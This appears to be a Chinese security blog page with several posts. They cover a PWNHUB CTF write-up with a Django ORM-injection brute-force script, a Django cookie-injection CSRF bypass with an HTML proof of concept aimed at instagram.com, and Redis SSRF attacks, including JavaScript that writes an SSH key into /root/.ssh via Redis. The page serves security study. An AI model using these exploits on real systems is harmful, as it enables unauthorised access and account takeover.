PWNHUB Web第一题writeup

题目地址 http://54.223.46.206:8003/

首先在HTTP头中可以看到Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2,引用的站内资源只有一个js,然后回想起ph师傅的写过的Python Web安全的文章 http://www.lijiejie.com/python-django-directory-traversal/ ,发现在处理静态文件的时候有一个任意文件读取,但是任何.py结尾的文件都会提示403,其他的不会,考虑读取pyc,看了下自己的Django项目,Python 3.5的pyc都是在一个__pycache__目录中的,然后是xxx.cpython-35.pyc的文件名。

Django是一个MVC框架,默认的主要代码都在models.pyviews.py,成功的得到pyc。然后使用unpyc3 https://github.com/figment/unpyc3 得到了源码。

核心代码如下

class StaticFilesView(generic.View):
    content_type = 'text/plain'

    def get(self, request, *args, **kwargs):
        filename = self.kwargs['path']
        # 任意文件读取就是这里
        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
        (name, ext) = os.path.splitext(filename)
        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
            raise exceptions.PermissionDenied('Permission deny')
        try:
            return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
        except BaseException as e:
            raise Http404('Static file not found')

class LoginView(JsonResponseMixin, generic.TemplateView):
    template_name = 'login.html'
    def post(self, request, *args, **kwargs):
        data = json.loads(request.body.decode())
        stu = models.Student.objects.filter(**data).first()
        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

class Student(models.Model):
    name = models.CharField('姓名', max_length=64, unique=True)
    no = models.CharField('学号', max_length=12, unique=True)
    passkey = models.CharField('密码', max_length=32)
    group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)


class Group(models.Model):
    name = models.CharField('班级名', max_length=64)
    information = models.TextField('介绍')
    secret = models.CharField('内部信息', max_length=128)
    created_time = models.DateTimeField('创建时间', auto_now_add=True)

可以看到直接将用户发送的数据作为filter的条件传递了,如果用户存在,而data中没有passkey就会造成500,如果用户不存在就会403,所以可以使用Django中的like查询。它的特点就是字段名后面添加两个下划线,接着才是搜索条件,可以作为参数传给filter。

# 精确查询 where name="test"
Student.objects.filter(name="test")

# 按照字符串开头查询 where name="test%"
Student.objects.filter(name__startswith="test")

# 按照字符串包含查询 where name="%test%"
Student.objects.filter(name__contains="test")

其实这里还有个坑,但是后来给ph师傅说了之后还是填上了,防止题目过于难,就是这里Django使用的是sqlite3数据库,而sqlite3的like是不区分大小写的,而数据库里面存的确实是大小写混合的,然而实际上还是有两个解决方案的

  • 爆破,12位密码去除数字,实际组合是2^10左右,也并不大
  • 使用sql中的正则,类似Studdent.objects.filter(name__regex="test"),这样就和区分大小写的contains是一样的了。

当然这个问题并不需要用户的密码,使用相同的方式去获取secret就好了。语句是Student.objects.filter(group__secret__contains="pwnhub")。最终利用的代码是

import requests
import json

import string
d = string.printable

passkey = "pwnhub"

while True:
    for item in d:
        r = requests.post("http://54.223.46.206:8003/login/", data=json.dumps({"group__secret__contains": passkey + item}))
        if r.status_code == 500:
            passkey += item
            print(passkey)
            break
    else:
        exit()

最近遇见的几个问题

某服务后端server时不时的connection refused

前面是Nginx,后面是uwsgi,日志中时不时出现下面的内容

[error] 54#54: *1644 connect() failed (111: Connection refused) while connecting to upstream, client: 172.18.0.5, server: _, request: "POST /log HTTP/1.1", upstream: "http://[::1]:10000/log", host: "mgt-api"

找了好久也没找到原因,比较确定的是不是后面的uwsgi挂掉了,之后tcpdump抓包,发现每次出现问题的都是一个IPV6的地址,结合上面的日志恍然大悟,原来是Nginx反向代理写的是localhost而不是127.0.0.1,而且在host文件中是

127.0.0.1   localhost
::1             localhost

gethostbyname在多个IP的情况下,返回结果是随机的,导致有时候被解析到了IPV6的地址上了。

Django在https下增强的CSRF防护

某Django系统在POST的时候一直提示CSRF验证失败,即使看到的CSRFToken是没问题的,后来打开DEBUG看到提示,原因摘抄Django源码。

if request.is_secure():
    # Suppose user visits http://example.com/
    # An active network attacker (man-in-the-middle, MITM) sends a
    # POST form that targets https://example.com/detonate-bomb/ and
    # submits it via JavaScript.
    #
    # The attacker will need to provide a CSRF cookie and token, but
    # that's no problem for a MITM and the session-independent
    # nonce we're using. So the MITM can circumvent the CSRF
    # protection. This is true for any HTTP connection, but anyone
    # using HTTPS expects better! For this reason, for
    # https://example.com/ we need additional protection that treats
    # http://example.com/ as completely untrusted. Under HTTPS,
    # Barth et al. found that the Referer header is missing for
    # same-domain requests in only about 0.2% of cases or less, so
    # we can use strict Referer checking.
    referer = force_text(
        request.META.get('HTTP_REFERER'),
        strings_only=True,
        errors='replace'
    )
    if referer is None:
        return self._reject(request, REASON_NO_REFERER)

    referer = urlparse(referer)

    # Make sure we have a valid URL for Referer.
    if '' in (referer.scheme, referer.netloc):
        return self._reject(request, REASON_MALFORMED_REFERER)

    # Ensure that our Referer is also secure.
    if referer.scheme != 'https':
        return self._reject(request, REASON_INSECURE_REFERER)

    # If there isn't a CSRF_COOKIE_DOMAIN, assume we need an exact
    # match on host:port. If not, obey the cookie rules.
    if settings.CSRF_COOKIE_DOMAIN is None:
        # request.get_host() includes the port.
        good_referer = request.get_host()
    else:
        good_referer = settings.CSRF_COOKIE_DOMAIN
        server_port = request.get_port()
        if server_port not in ('443', '80'):
            good_referer = '%s:%s' % (good_referer, server_port)

    # Here we generate a list of all acceptable HTTP referers,
    # including the current host since that has been validated
    # upstream.
    good_hosts = list(settings.CSRF_TRUSTED_ORIGINS)
    good_hosts.append(good_referer)

    if not any(is_same_domain(referer.netloc, host) for host in good_hosts):
        reason = REASON_BAD_REFERER % referer.geturl()
        return self._reject(request, reason)

Django CSRF 防护绕过漏洞分析

原始漏洞链接 https://hackerone.com/reports/26647

使用 Google Analytics 进行 Cookie 注入

  • Google Analytics 会设置这样的 Cookie 来追踪用户访问
__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

比如

__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/
  • 用户可以完全控制 referer 中的 path,然后在放入__utmz的时候没有过滤

不同的 web server 对 Cookie parse 结果的不同

  • 一个正常的Cookie是这样子的 Cookie: param1=value1; param2=value2;
  • 但是很多 web server 也可以接收使用逗号分隔的

    Cookie: param1=value2, param2=value2
    Cookie: param1=value2,param2=value2
    

Python 和 Django 使用了不正确的正则表达式来 parse Cookie,导致用户也可以使用[]来作为分隔符 Cookie: param1=value1]param2=value2

参考

例子

 >>> from http import cookies
 >>> C = cookies.SimpleCookie()
 >>> C.load('__utmz=blah]csrftoken=x')
 >>> C
 <SimpleCookie: csrftoken='x'>

不同的浏览器对 Cookie 处理结果的不同

除了 Safari 之外,其他的浏览器都可以在 Cookie value 中使用空格、逗号和[]字符。

而且 Chrome 只可以处理有限的 Cookie 属性,比如

Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com;

最终只能给.google.com而不是blah.blah.blah.google.com设置上 Cookie

综合在一起利用

条件是

  • 网站使用 Google Analytics
  • 网站使用的 server 或后端有 Cookie 解析的问题,比如 Django
  • 网站使用了基于 Cookie 的 CSRF 防护方法

结果

  • 我们可以设置任意的 Cookie 或者覆盖已有的 Cookie
  • 这个网站就有 CSRF 防护绕过的问题

POC

使用 Chrome 可以在 instagram.com 上复现这个问题

http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html的源码是

<form 
action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed" 
id="csrf" 
method="POST">
      <input type="hidden" name="csrfmiddlewaretoken" value="x" />
      <input type="submit" value="Submit request" />
</form>
<script>
      function xxx() {
        document.getElementById('csrf').submit();
      }
</script>
<iframe 
onload="xxx()" 
src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>

描述

  • 用户已经登录了 instagram.com
  • 让用户访问下面的链接,同时假设他没有访问过blog.instagram.com,也没有这个子域名的__utmzhttp://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/ 这时候,Cookie 就会使用新的 path 和 domain,.instgram.com 就会被设置一个新的 Cookie _utmz=90378079.1401435337.1.1.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/r/,]csrftoken=x,
  • 这时候,服务器就会认为 Cookie 中的__utmz是错误的格式,CSRF token是x
  • 使用 CSRF token 提交上面的表单

修复

Python 的 patch 是 https://hg.python.org/cpython/rev/270f61ec1157,但是后来发现还是有问题的,比如

C = cookies.SimpleCookie()
C.load('__utmz=blah csrftoken=x')
C.load('__utmz=blah\x09csrftoken=x')
C.load('__utmz=blah\x0bcsrftoken=x')
C.load('__utmz=blah\x0ccsrftoken=x') 

仍然会被解析为两个 Cookie,但是实际的浏览器处理并不一样

  • IE 浏览器会把\x09 \x0b \x0c替换为下划线
  • Chrome 会忽略这种 Cookie
  • Google Analytics 会把空格替换为 %20,当然这不重要,因为其他的 JS 也可能有问题

但是 Firefox 是支持所有的字符的,所以可以这样利用

  • 移除 instgram.com 的所有 Cookie
  • 使用 Firefox 打开 http://instagram.com/?utm_source=1&utm_medium=2&utm_campaign=3&utm_term=4&utm_content=5%09csrftoken=x#
  • 刷新页面,你会发现 csrftoken=x

最近 Django 修复了这个问题,https://www.djangoproject.com/weblog/2016/sep/26/security-releases/,使用了简单的 parse Cookie 的方法,https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a,虽然不太标准,但是已经足够了。

思考

Just Rock It 2016

大量高清原图和视频,流量党谨慎点开

第一次听五月天的歌应该就是在大一了,某舍友弹吉他会的为数不多的曲子之一。

四年后,五月天在北京鸟巢开演唱会,我也毕业了工作了,就热情满满的去参加了~

阅读全文...

Redis和SSRF

你以为bind了127.0.0.1就安全了么?

本地写文件

这个爆出来很久了。原理就是利用Redis的数据持久化。设置持久化文件的名称和路径,然后在Redis中写入文件内容,给Redis发送持久化的命令,这样Redis就会将数据库的内容写入执行的文件了。详细参考 http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/

这个并不一定需要SSRF,如果Redis未授权访问的,那同样可以利用。

利用点

  • $Home/.ssh/authorized_keys,root用户就是/root,其他用户需要猜测或者遍历用户名。
  • /var/spool/cron,然后crontab定期执行,因为Redis持久化的数据可能包含其他的数据,所以写入的文件可能有一些垃圾信息,但是crontab对格式要求比较松,避免先去flushall Redis。
  • 写webshell,但是得已知路径
  • slave of $IP 主从模式利用
  • /etc/profile.d/用户环境变量
  • AOF类型持久化,和RDB持久化类似,但是是纯文本的格式

Redis中数据和web应用的结合

如果控制了Redis中的数据,很多时候和直接控制了数据库是一样的,可以有针对性的修改数据。参考 https://www.seebug.org/vuldb/ssvid-91879 在Redis中更改了全局变量的值,导致任意代码执行。里面有对gopher协议的利用,参考 https://blog.chaitin.com/gopher-attack-surfaces/

Redis Lua Sandbox Escape

详情见 http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

利用了Redis的Lua支持,但是Redis的Lua是有sandbox的,不能执行任意的代码,怎么去尝试绕过?

https://gist.github.com/corsix/6575486 实现的了三个功能

  • 读取TValue结构体中的值
  • 读取任意内存地址上的8个字节,可以导致基地址泄露
  • 任意内存地址写8个字节

作者在多个系统和多个Redis上都测试通过,Redis已经修复这个问题 https://groups.google.com/forum/#!msg/redis-db/4Y6OqK8gEyk/Dg-5cejl-eUJ

SSRF和CSRF结合体 看网页也能被拿shell

今天看到老外发了一个脑洞,https://ericrafaloff.com/client-side-redis-attack-poc/ 使用ajax直接给Redis发送请求,也利用的是Redis的Lua支持,原文中的Demo被我修改为写入ssh公钥的,当然上面提到的其他攻击方法都可以使用。

var keydir = "/root/.ssh";
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\nssh-rsa AAAAB... virusdefender@LiYangs-MacBook-Pro.local\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + keydir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"authorized_keys\"); ' + '\' 0' + "\r\n");

var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('save\r\n');

在这里有一个最大的限制就是浏览器跨域请求的问题,根据 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS
简单请求是可以直接跨域发送的,但是无法收到响应,简单请求的定义如下

只使用 GET, HEAD 或者 POST 请求方法。如果使用 POST 向服务器端传送数据,则数据类型(Content-Type)只能是 application/x-www-form-urlencoded, multipart/form-data 或 text/plain中的一种。

这里符合条件,所以可以直接发送请求到Redis端口。当然,还可以利用DNS Rebinding来绕过同源策略。步骤如下

  • 解析evil.com到正常ip,使用比较小的TTL
  • 用户浏览页面,页面中setTimeout到100秒后发送一个ajax请求到evil.com
  • 解析evil.com127.0.0.1,因为TTL很小,所以生效很快,而且浏览器也会重新发送DNS查询
  • 100秒后,请求实际被发送到了127.0.0.1

阅读全文...